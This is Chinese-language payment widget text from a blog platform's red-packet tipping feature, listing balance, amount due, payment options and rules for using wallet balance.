红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值